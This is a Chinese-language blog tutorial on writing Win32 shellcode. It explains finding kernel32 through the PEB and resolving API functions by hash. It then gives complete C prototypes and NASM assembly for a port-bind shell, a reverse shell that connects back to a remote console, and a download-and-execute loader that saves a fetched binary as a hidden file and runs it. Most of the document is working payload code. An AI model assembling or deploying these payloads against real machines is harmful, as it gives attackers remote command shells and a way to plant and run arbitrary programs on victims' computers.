Win32 shellcode 管窥

随便写写

Win32 shellcode 管窥

本文讨论下win32 shellcode。

什么是shellcode?

参见维基百科,想要翻译下结果一直没翻译。简单说下,就是一段测试漏洞的代码,可以控制计算机、干坏事等等等等。。。这段代码一般通过某种手段注入到有漏洞的程序内存空间中,运行并向攻击者提供一个控制台。

shellcode通常但也不总是为了获取一个shell,但获取一个shell是获取计算机控制权的一流方式。

如何编写shellcode?

在windows中,不要指望像linux下那样用系统调用直接和内核交互,因为windows的系统调用一直在变化,也没有好的文档。

windows下把一些函数放到了dll链接库中,当程序运行时,这些dll库被载入到当前程序的内存空间中。调用这些函数只要知道这些函数的地址就行了。可是,每一个windows版本甚至一个补丁都会让这些地址变化。

但kernel32一定会被加载到内存空间中去,kernel32.dll的地址在一个叫作PEB的块中却比较固定,于是人们就搜索PEB来找到kernel32.dll的地址。

找到kernel32的地址之后,可以通过输出表(Export Table)搜索和解析之中所有的函数地址。尽管有些dll并不像kernel32一定会加载到程序内存空间中,却可以解析kernel32中的LoadLibraryA来载入它们,然后通过同样的解析函数方法来解析这些dll中的函数地址。

由于shellcode的独特性,我们用汇编会获取更好的控制。但首先我会先用C语言来原型,搞清楚这些程序都干了什么。

工具

我用了以下一些工具:

  • wine lcc : C编译器
  • wine immunity debugger: 调试器
  • shell :工作环境和测试脚本
  • nasm :汇编器
  • python: 我用来写一些小工具来比如帮助获取倒过来(因为x86中字节序的问题)函数哈希。

当然还有写od一类的unix小工具,一个正常的linux发行版都会有这些东西的。

工作流

  1. 找到kernel32的地址
  2. 解析出想要调用函数的地址
  3. 在堆上构建参数和调用函数

虽然原理很简单,但是有些小细节:

  1. 尽量模块化重复代码即使用函数。函数尽量没有副作用,就是说尽量别把寄存器搞得乱七八糟。
  2. 尽量向前跳而不是向后跳,这是为了什么来着,对了为了减少shellcode中的NULL。你可以先不考虑这个问题,这比较复杂,这需要熟悉哪些等效的机器码没有bad characters。
  3. 记住jmp不能跳太远,也许你需要一些中转点。
  4. 你可以把要用到的常量或者参数直接放到shellcode中某处,或者就地在栈上构建,只要你方便索引就行。这主要看需求,比如你想集成的metasploit中,就最好把想更改的东西放到固定位置。

示例

Talk is cheap, show you the code… C代码是我自己写的,shellcode不一定是我自己写的。但即使是我自己写的也要仰仗于nologin上那篇著名的win32shellcode论文和projectshellcode上的示例。推荐有兴趣的人看看。

示例1:端口绑定shellcode

绑定一个端口并提供远程控制台。绑定到本机4444

C原型:

/*
 * =====================================================================================
 *
 *       Filename:  port_bind.c
 *
 *    Description:  port_bind in windows
 *
 *        Version:  1.0
 *        Created:  08/18/2013 05:01:19 PM
 *       Revision:  none
 *       Compiler:  lcc
 *
 *         Author:  reverland, 
 *   Organization:  
 *
 * =====================================================================================
 */
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

int main(){
  WSADATA wsaData;
  WORD wVersionRequested;
  struct sockaddr_in host;
  struct sockaddr* addr;
  SOCKET MySock, NSock;
  wVersionRequested = MAKEWORD(2, 2);
  int nret;

  // FreeConsole
  FreeConsole();
  printf("size of WSADATA is %d\n", sizeof(wsaData));
  printf("size of wVersionRequested is %d\n", sizeof(wVersionRequested));
  // WSAStartup
  if (WSAStartup(wVersionRequested, &wsaData) < 0)
  {
    printf("ws2 outof date!\n");
    WSACleanup();
    exit(1);
  }

  // WSASocket
  MySock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);

  host.sin_family = AF_INET;
  host.sin_addr.s_addr = INADDR_ANY;
  host.sin_port = htons(4444);

  // bind
  nret = bind(MySock, (struct sockaddr*)&host, sizeof(host));
  printf("size of sockadr is %d\n", sizeof(host));

  if (nret == SOCKET_ERROR)
    {
      printf("Error on bind\n");
      WSACleanup();
      exit(1);
    }

  // listen
  nret = listen(MySock, 16);

  if (nret == SOCKET_ERROR)
    {
      printf("Error on bind\n");
      WSACleanup();
      exit(1);
    }

  // accept
  addr = malloc(16);
  int addrlen = 16;
  NSock = accept(MySock, addr, &addrlen);
  if (NSock == SOCKET_ERROR)
  {
    printf("Error on accept\n");
  }

  // CreateProcess
  char cmd[] = "cmd";
  STARTUPINFO startupinfo;
  printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
  PROCESS_INFORMATION processinformation;
  printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
  memset(&startupinfo, '\0', sizeof(STARTUPINFO));
  memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
  startupinfo.cb = 0x44;
  startupinfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
  startupinfo.wShowWindow = SW_HIDE;
  startupinfo.hStdInput = (HANDLE)NSock;
  startupinfo.hStdOutput =(HANDLE)NSock;
  startupinfo.hStdError = (HANDLE)NSock;
  FreeConsole();
  CreateProcess(NULL, cmd, NULL, NULL, 1, 0, NULL, NULL, &startupinfo, &processinformation);

  // ExitProcess
  ExitProcess(0);
}

asm.c :

; port_bind.asm
BITS 32
[SECTION .text]
global _start
_start:
    jmp start_asm

;DEFINE FUNCTIONS

    find_kernel32:
        push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]  ;PEB
    mov eax, [eax + 0x0c]   ;PEB->LoaderData
    mov esi, [eax + 0x1c]   ;PEB->LoaderData->InInitializationOrderModuleList
    lodsd           ;next entry the double linked list point to
    mov eax, [eax + 0x8]    ;imagebase of kernel32
    pop esi
    ret

    ;END FUNCTION: find_kernel32

    ; FUNCTION: find_function
    find_function:      ; find_functions(edx, eax)
        pushad
    mov ebp, [esp+0x24] ;edx(dll)
    mov eax, [ebp+0x3c] ;Skip MS DOS header to PE header
    mov edx, [ebp+eax+0x78] ;Export table is 0x78 byts from the start of the PE header
    add edx, ebp        ;Absolute address
    mov ecx, [edx+0x18] ;Number of functions
    mov ebx, [edx+0x20] ; address of names(rva) table relative offset
    add ebx, ebp        ; make the name talbe address absolute
    find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx+ecx*4]
    add esi, ebp
    compute_hash:
        xor edi, edi
    xor eax, eax
    cld
    compute_hash_again:
        lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
    compute_hash_finished:
    find_funtion_compare:
        cmp edi, [esp+0x28]
    jnz find_function_loop
    mov ebx, [edx+0x24] ; Exetract ordinals table relative offset and store it in ebx
    add ebx, ebp
    mov cx, [ebx + 2*ecx]   ; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
    mov ebx, [edx+0x1c] ;Extract the address table relative offset and store it in ebx
    add ebx, ebp        ; make the address table address absolute
    mov eax, [ebx + 4*ecx]  ; extract the realtve function offset from its ordinal and store it in eax
    add eax, ebp
    mov [esp+0x1c], eax ; overwrite eax
    find_function_finished:
    popad
    ret

    ; END FUNCTION: find_function
    ; FUNCTION: resolve_symbols_for_dll
    resolve_symbols_for_dll:
    ; about to load current hash into eax(pointed by esi)
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
    resolve_symbols_for_dll_finished:
        ret

    ; END FUNCTION: resolve_symbols_for_dll

;END FUNCTIONS

    locate_kernel32_hashes:
        call locate_kernel32_hashes_return
    ; BIG ENDIAN
    ; LoadLibraryA
    db 0x8e, 0x4e, 0x0e, 0xec
    ; CreateProcessA
    db 0x72, 0xfe, 0xb3, 0x16
    ; ExitProcess
    db 0x7e, 0xd8, 0xe2, 0x73
    ;locate ws2_32_hashes
        ; WSASocketA
    db 0xd9, 0x09, 0xf5, 0xad
    ; bind
    db 0xa4, 0x1a, 0x70, 0xc7
    ; listen
    db 0xa4, 0xad, 0x2e, 0xe9
    ; accept
    db 0xe5, 0x49, 0x86, 0x49
    ; WSAStartup
    db 0xcb, 0xed, 0xfc, 0x3b
    ; END DEFINE CONSTANTS

    start_asm:
       sub esp, 0x68 ; !!随便给的
       mov ebp, esp
       call find_kernel32
       mov edx, eax
       ; resolve kernel32 symbols
       jmp short locate_kernel32_hashes
    locate_kernel32_hashes_return:
       pop esi
       lea edi,[ebp+0x00] 
       mov ecx, esi




       add ecx, 0x0c ; length of kernel32 list
       call resolve_symbols_for_dll

       ; resolve ws2_32 symbols
       add ecx, 0x14
       xor eax, eax
       mov ax, 0x3233
       push eax
       push dword 0x5f327377
       mov ebx, esp ; point to "ws2_32"

       push ecx
       push edx
       push ebx
       call [ebp+0x0]

       pop edx ; kernel32 address
       pop ecx ; counter
       mov edx, eax ; ws2_32.dll address
       call resolve_symbols_for_dll

   initialize_cmd:
       mov eax, 0x646d6301
       sar eax, 0x08
       push eax
       mov [ebp+0x30], esp

   WSAStartup:
       xor edx, edx
       mov edx, 0x190
       sub esp, edx
       ; initialize winsock
       push esp
       push 0x02
       call [ebp+0x1c]
       add esp, 0x190

   create_socket:
       xor eax, eax
       push eax
       push eax
       push eax
       push eax
       inc eax
       push eax
       inc eax
       push eax
       call [ebp+0x0c]
       mov esi, eax

   bind:
       xor eax, eax
       xor ebx, ebx
       push eax
       push eax
       push eax
       mov eax, 0x5c110102
       dec ah
       push eax
       mov eax, esp
       mov bl, 0x10
       push ebx
       push eax
       push esi
       call [ebp+0x10]

   listen:
       push ebx
       push esi
       call [ebp+0x14]

   accept:
       push ebx
       mov edx, esp
       sub esp, ebx
       mov ecx, esp
       push edx
       push ecx
       push esi
       call [ebp+0x18]
       mov esi, eax

   initialize_process:
       xor ecx, ecx
       mov cl, 0x54
       sub esp,ecx
       mov edi, esp
       push edi
   zero_structs:
       xor eax, eax
       rep stosb
       pop edi
   initialize_structs:
       mov byte [edi], 0x44
       inc byte [edi+0x2d] ; STARTF_USESTDHANDLES 
       push edi
       mov eax, esi
       lea edi, [edi+0x38]
       stosd
       stosd
       stosd
       pop edi
   execute_process:
       xor eax, eax
       lea esi, [edi+0x44]
       push esi
       push edi
       push eax
       push eax
       push eax
       inc eax
       push eax
       dec eax
       push eax
       push eax
       push dword [ebp+0x30] ; p->"cmd"
       push eax
       call [ebp+0x04]
   exit_process:
       call [ebp+0x08]

示例2:反弹shellcode

反向连接shellcode,提供远程控制台。反向到192.168.56.102, 端口4444

C 示例:

/*
 * =====================================================================================
 *
 *       Filename:  connectback.c
 *
 *    Description:  Connect back example
 *
 *        Version:  1.0
 *        Created:  08/23/2013 04:49:55 PM
 *       Revision:  none
 *       Compiler:  gcc
 *
 *         Author:  Reverland, 
 *   Organization:  
 *
 * =====================================================================================
 */
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <winsock2.h>
#include <wininet.h>


int main(){
  WSADATA wsaData;
  WORD wVersionRequested;
  struct sockaddr_in host, client;
  struct sockaddr* addr;
  SOCKET MySock, NSock;
  wVersionRequested = MAKEWORD(2, 2);
  int nret;
  char ip[] = "127.0.0.1";

  // FreeConsole
  FreeConsole();
  printf("size of WSADATA is %d\n", sizeof(wsaData));
  printf("size of wVersionRequested is %d\n", sizeof(wVersionRequested));
  // WSAStartup
  if (WSAStartup(wVersionRequested, &wsaData) < 0)
  {
    printf("ws2 outof date!\n");
    WSACleanup();
    exit(1);
  }

  // WSASocket
  MySock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);

  client.sin_family = AF_INET;
  client.sin_addr.s_addr = inet_addr(ip);
  client.sin_port = htons(4444);

  // bind
  nret = connect(MySock, (struct sockaddr*)&client, sizeof(client));
  printf("size of sockadr is %d\n", sizeof(host));

  if (nret == SOCKET_ERROR)
    {
      printf("Error on connect\n");
      WSACleanup();
      exit(1);
    }

  // CreateProcess
  char cmd[] = "cmd";
  STARTUPINFO startupinfo;
  printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
  PROCESS_INFORMATION processinformation;
  printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
  memset(&startupinfo, '\0', sizeof(STARTUPINFO));
  memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
  startupinfo.cb = 0x44;
  startupinfo.dwFlags = STARTF_USESTDHANDLES;
  startupinfo.hStdInput = (HANDLE)MySock;
  startupinfo.hStdOutput =(HANDLE)MySock;
  startupinfo.hStdError = (HANDLE)MySock;
  FreeConsole();
  CreateProcess(NULL, cmd, NULL, NULL, 1, 0, NULL, NULL, &startupinfo, &processinformation);

  // ExitProcess
  ExitProcess(0);
}

asm:

[SECTION .text]
BITS 32
global _start
_start:
    jmp start_asm

;DEFINE FUNCTIONS

    find_kernel32:
        push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]  ;PEB
    mov eax, [eax + 0x0c]   ;PEB->LoaderData
    mov esi, [eax + 0x1c]   ;PEB->LoaderData->InInitializationOrderModuleList
    lodsd           ;next entry the double linked list point to
    mov eax, [eax + 0x8]    ;imagebase of kernel32
    pop esi
    ret

    ;END FUNCTION: find_kernel32

    ; FUNCTION: find_function
    find_function:      ; find_functions(edx, eax)
        pushad
    mov ebp, [esp+0x24] ;edx(dll)
    mov eax, [ebp+0x3c] ;Skip MS DOS header to PE header
    mov edx, [ebp+eax+0x78] ;Export table is 0x78 byts from the start of the PE header
    add edx, ebp        ;Absolute address
    mov ecx, [edx+0x18] ;Number of functions
    mov ebx, [edx+0x20] ; address of names(rva) table relative offset
    add ebx, ebp        ; make the name talbe address absolute
    find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx+ecx*4]
    add esi, ebp
    compute_hash:
        xor edi, edi
    xor eax, eax
    cld
    compute_hash_again:
        lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
    compute_hash_finished:
    find_funtion_compare:
        cmp edi, [esp+0x28]
    jnz find_function_loop
    mov ebx, [edx+0x24] ; Exetract ordinals table relative offset and store it in ebx
    add ebx, ebp
    mov cx, [ebx + 2*ecx]   ; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
    mov ebx, [edx+0x1c] ;Extract the address table relative offset and store it in ebx
    add ebx, ebp        ; make the address table address absolute
    mov eax, [ebx + 4*ecx]  ; extract the realtve function offset from its ordinal and store it in eax
    add eax, ebp
    mov [esp+0x1c], eax ; overwrite eax
    find_function_finished:
    popad
    ret

    ; END FUNCTION: find_function
    ; FUNCTION: resolve_symbols_for_dll
    resolve_symbols_for_dll:
    ; about to load current hash into eax(pointed by esi)
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
    resolve_symbols_for_dll_finished:
        ret

    ; END FUNCTION: resolve_symbols_for_dll

;END FUNCTIONS

    locate_kernel32_hashes:
        call locate_kernel32_hashes_return
        ;LoadLibraryA
        db 0x8e
        db 0x4e
        db 0x0e
        db 0xec
        ;CreateProcessA
        db 0x72
        db 0xfe
        db 0xb3
        db 0x16
        ;ExitProcess
        db 0x7e
        db 0xd8
        db 0xe2
        db 0x73
        ;locate_ws2_32_hashes:
        ;WSASocketA
        db 0xd9
        db 0x09
        db 0xf5
        db 0xad
        ;connect
        db 0xec
        db 0xf9
        db 0xaa
        db 0x60
        ;WSAStartup
        db 0xcb
        db 0xed
        db 0xfc
        db 0x3b
        ;END DEFINE CONSTANTS

    start_asm:
        sub esp, 0x68
    mov ebp, esp
    call find_kernel32
    mov edx, eax
        ; resolve kernel32 symbols
        jmp short locate_kernel32_hashes
    locate_kernel32_hashes_return:
        pop esi
        lea edi,[ebp+0x00] 
        mov ecx, esi
        add ecx, 0x0c ; length of kernel32 list
        call resolve_symbols_for_dll

        ; resolve ws2_32 symbols
        add ecx, 0x0c
    ; create ws2_32 string
        xor eax, eax
        mov ax, 0x3233
        push eax
        push dword 0x5f327377
        mov ebx, esp ; point to "ws2_32"

    push ecx
        push edx
        push ebx
        call [ebp+0x0] ; LoadLibraryA("ws2_32")

        pop edx ; kernel32 address
        pop ecx ; counter
        mov edx, eax ; ws2_32.dll address
        call resolve_symbols_for_dll

        initialize_cmd:
            mov eax, 0x646d6301
            sar eax, 0x08
            push eax
            mov [ebp+0x24], esp

        WSAStartup:
            xor edx, edx
            mov edx, 0x190
            sub esp, edx
            ; initialize winsock
            push esp
            push 0x02
            call [ebp+0x14]
            add esp, 0x190

   create_socket:
       xor eax, eax
       push eax
       push eax
       push eax
       push eax
       inc eax
       push eax
       inc eax
       push eax
       call [ebp+0x0c]
       mov esi, eax

    do_connect:
        push 0x0100007f
    mov eax, 0x5c110102
    dec ah
    push eax
    mov ebx, esp
    xor eax, eax
    mov al, 0x10
    push eax
    push ebx
    push esi
    call [ebp+0x10]

   initialize_process:
       xor ecx, ecx
       mov cl, 0x54
       sub esp,ecx
       mov edi, esp
       push edi
   zero_structs:
       xor eax, eax
       rep stosb
       pop edi
   initialize_structs:
       mov byte [edi], 0x44
       inc byte [edi+0x2d] ; STARTF_USESTDHANDLES 
       push edi
       mov eax, esi
       lea edi, [edi+0x38]
       stosd
       stosd
       stosd
       pop edi
   execute_process:
       xor eax, eax
       lea esi, [edi+0x44]
       push esi
       push edi
       push eax
       push eax
       push eax
       inc eax
       push eax
       dec eax
       push eax
       push eax
       push dword [ebp+0x24] ; p->"cmd"
       push eax
       call [ebp+0x04]
   exit_process:
       call [ebp+0x08]

下载并运行shellcode

C原型:

/*
 * =====================================================================================
 *
 *       Filename:  download_execute.c
 *
 *    Description:  Download and execute shellcode
 *
 *        Version:  1.0
 *        Created:  08/22/2013 03:53:36 PM
 *       Revision:  none
 *       Compiler:  gcc
 *
 *         Author:  Reverland, 
 *   Organization:  
 *
 * =====================================================================================
 */
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <wininet.h>

int main(){
  HINTERNET nethandle;

  // allocate an internet handle
  printf("Allocate an internet handle\n");
  nethandle = InternetOpen(NULL, 0, NULL, NULL, 0);
  if (nethandle == NULL)
  {
    printf("Error on InternetOpen\n");
    exit(0);
  }

  // allocate a resource handle
  printf("Allocate a resource handle\n");
  HINTERNET reshandle;
  char url[] = "http://localhost:4000/calc.exe";
  reshandle = InternetOpenUrl(nethandle, url, NULL, 0, 0, 0);
  if (reshandle == NULL)
  {
    printf("Error on InternetOpenUrl\n");
    exit(0);
  }

  // Create the local executable file
  printf("Create the local executable file\n");
  HANDLE filehandle;
  char filename[] = "something.exe";
  filehandle = CreateFile(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN, NULL);
  if (filehandle == 0)
  {
    printf("Error on CreateFile\n");
    exit(0);
  }


  // Download the executable
  printf("download the executable\n");
  DWORD NumberOfBytesRead=0;
  DWORD NumberOfBytesWritten=0;
  BOOL nret;
  while (1==1){
    void *Buffer = malloc(260);
    nret = InternetReadFile(reshandle, Buffer, 260, &NumberOfBytesRead);
    printf("InternetReadFile\n");
    printf("read %d bytes\n", (int)NumberOfBytesRead);
    printf("%s\n", (char *)Buffer);
    if (NumberOfBytesRead == 0)
      break;
    printf("WriteFile\n");
    nret = WriteFile(filehandle, Buffer, NumberOfBytesRead, &NumberOfBytesWritten, NULL);
    printf("write %d bytes\n", (int)NumberOfBytesWritten);
    if (nret == 0)
    {
      printf("Error on Writefile\n");
      exit(0);
    }
    free(Buffer);
  }
  printf("Close handle\n");
  CloseHandle(filehandle);

  // Create Process
  printf("Create Process\n");
  STARTUPINFO startupinfo;
  // printf("size of STARTUPINFO is %d\n", sizeof(startupinfo));
  PROCESS_INFORMATION processinformation;
  // printf("size of PROCESS_INFORMATION is %d\n", sizeof(processinformation));
  memset(&startupinfo, '\0', sizeof(STARTUPINFO));
  memset(&processinformation, '\0', sizeof(PROCESS_INFORMATION));
  startupinfo.cb = 0x44;
  CreateProcess(NULL, filename, NULL, NULL, 0, 0, NULL, NULL, &startupinfo, &processinformation);

  ExitProcess(0);
}

asm:

; port_bind.asm
BITS 32
[SECTION .text]
global _start
_start:
    jmp start_asm

;DEFINE FUNCTIONS

    find_kernel32:
        push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]  ;PEB
    mov eax, [eax + 0x0c]   ;PEB->LoaderData
    mov esi, [eax + 0x1c]   ;PEB->LoaderData->InInitializationOrderModuleList
    lodsd           ;next entry the double linked list point to
    mov eax, [eax + 0x8]    ;imagebase of kernel32
    pop esi
    ret

    ;END FUNCTION: find_kernel32

    ; FUNCTION: find_function
    find_function:      ; find_functions(edx, eax)
        pushad
    mov ebp, [esp+0x24] ;edx(dll)
    mov eax, [ebp+0x3c] ;Skip MS DOS header to PE header
    mov edx, [ebp+eax+0x78] ;Export table is 0x78 byts from the start of the PE header
    add edx, ebp        ;Absolute address
    mov ecx, [edx+0x18] ;Number of functions
    mov ebx, [edx+0x20] ; address of names(rva) table relative offset
    add ebx, ebp        ; make the name talbe address absolute
    find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx+ecx*4]
    add esi, ebp
    compute_hash:
        xor edi, edi
    xor eax, eax
    cld
    compute_hash_again:
        lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
    compute_hash_finished:
    find_funtion_compare:
        cmp edi, [esp+0x28]
    jnz find_function_loop
    mov ebx, [edx+0x24] ; Exetract ordinals table relative offset and store it in ebx
    add ebx, ebp
    mov cx, [ebx + 2*ecx]   ; Extract the current symbos ordinal number from the ordinal table; Ordinals are 2 bytes in size
    mov ebx, [edx+0x1c] ;Extract the address table relative offset and store it in ebx
    add ebx, ebp        ; make the address table address absolute
    mov eax, [ebx + 4*ecx]  ; extract the realtve function offset from its ordinal and store it in eax
    add eax, ebp
    mov [esp+0x1c], eax ; overwrite eax
    find_function_finished:
    popad
    ret

    ; END FUNCTION: find_function
    ; FUNCTION: resolve_symbols_for_dll
    resolve_symbols_for_dll:
    ; about to load current hash into eax(pointed by esi)
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
    resolve_symbols_for_dll_finished:
        ret

    ; END FUNCTION: resolve_symbols_for_dll

;END FUNCTIONS

    locate_kernel32_hashes:
        call locate_kernel32_hashes_return
    ; BIG ENDIAN
    ; LoadLibraryA---ebp
    db 0x8e, 0x4e, 0x0e, 0xec
    ; CreateFile---ebp+4
    db 0xa5, 0x17, 0x0, 0x7c
    ; WriteFile---ebp+0x8
        db 0x1f, 0x79, 0xa, 0xe8
        ; CloseHandle---ebp+0xc
        db 0xfb, 0x97, 0xfd, 0xf
    ; CreateProcessA---ebp+0x10
    db 0x72, 0xfe, 0xb3, 0x16
    ; ExitProcess---ebp+0x14
    db 0x7e, 0xd8, 0xe2, 0x73
    ; Wininet.dll function hashes
        ; InternetOpenA---ebp+0x18
        db 0x29, 0x44, 0xe8, 0x57
    ; InternetOpenUrlA---ebp+0x1c
        db 0x49, 0xed, 0xf, 0x7e
        ; InternetReadFile---ebp+0x20
        db 0x8b, 0x4b, 0xe3, 0x5f

    ; DEFINE Constants END

    start_asm:
        sub esp, 0x88
    mov ebp, esp
    call find_kernel32
    mov edx, eax
    ; resolve kernel32 symbols
    jmp short locate_kernel32_hashes
    locate_kernel32_hashes_return:
        pop esi
    lea edi, [ebp+0x00]
    mov ecx, esi
    add ecx, 0x18   ; length of kernel32 list
    call resolve_symbols_for_dll

    ; resolve wininet symbols
    add ecx, 0xc
    ; xor eax, eax
    mov eax, 0x74656e01
    sar eax, 0x08
    push eax    ; net
    push 0x696e6977 ; wini
    mov ebx, esp
    push ecx    ; preserve ecx, LoadLibraryA 破坏ecx和edx?
    push edx    ; preserve edx
    push ebx
    call [ebp+0x0]
    pop edx
    pop ecx
    mov edx, eax    ; 之前保护edx干么...?
    call resolve_symbols_for_dll
    internet_open:
        xor eax, eax
    push eax
    push eax
    push eax
    push eax
    push eax
    call [ebp+0x18]
    mov [ebp+0x24], eax ; nethandle
    internet_open_url:
        xor eax, eax
    mov ax, 0x6578
    push eax
    push 0x652e636c     ; calc.exe
    push 0x61632f30
    push 0x3030383a
    push 0x74736f68
    push 0x6c61636f
    push 0x6c2f2f3a
    push 0x70747468 ; http://localhost:8000/calc.exe
    mov ebx, esp
    xor eax, eax
    push eax
    push eax
    push eax
    push eax
    push ebx
    push dword [ebp+0x24]       ;nethandle
    call [ebp+0x1c]
    mov [ebp+0x28], eax ; reshandle

    create_file:
        xor eax, eax
    mov al, 0x65
    push eax
    push 0x78652e67
    push 0x6e696874
    push 0x656d6f73     ; something.exe
    mov [ebp+0x2c], esp ; filename->something
    xor eax, eax
    push eax
    mov al, 0x82        ; FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN
    push eax
    mov al, 0x02
    push eax        ; CREATE_ALWAYS
    xor al, al
    push eax
    push eax
    mov al, 0x40
    sal eax, 0x18       ; GENERIC_ALL
    push eax
    push dword [ebp+0x2c]
    call [ebp+0x4]
    mov [ebp+0x30], eax ; filehandle

    download_begin:
        xor eax, eax
    mov ax, 0x010c  ; esi->DWORD numberofbytesread + 260 buffer
    sub esp, eax
    mov esi, esp
    download_loop:
        push esi    ; 
    mov ax, 0x0104
    push eax
    lea eax, [esi+4]
    push eax
    push dword [ebp+0x28]       ; reshandle
    call [ebp+0x20]
    mov eax, [esi]      ; NumbeOfBytesRead
    test eax, eax
    jz download_finished
    download_write_file:
        xor eax, eax
    push eax        
    push esi
    push dword [esi]
    lea eax, [esi+0x04]
    push eax
    push dword [ebp+0x30]
    call [ebp+0x8]
    jmp download_loop
    download_finished:
        push dword [ebp+0x30]
    call [ebp+0xc]
    xor eax, eax
    mov ax, 0x0104  ; restore stack
    ; CreateProcess
    initialize_process:
    add esp, eax
    xor ecx, ecx
    mov cl, 0x54
    sub esp, ecx
    mov edi, esp
    zero_structs:
        xor eax, eax
    rep stosb
    initialize_structs:
        mov edi, esp
    mov byte [edi], 0x44    ; !!!!!cb
    execute_process:
        lea esi, [edi+0x44]     ; esi->process_information
    push esi
    push edi
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push dword [ebp+0x2c]       ; ->"something"
    push eax
    call [ebp+0x10]
    exit_process:
        call [ebp+0x14]

分阶段shellcode

第一阶段建立连接,并读取shellcode,然后指向执行。

待续。。。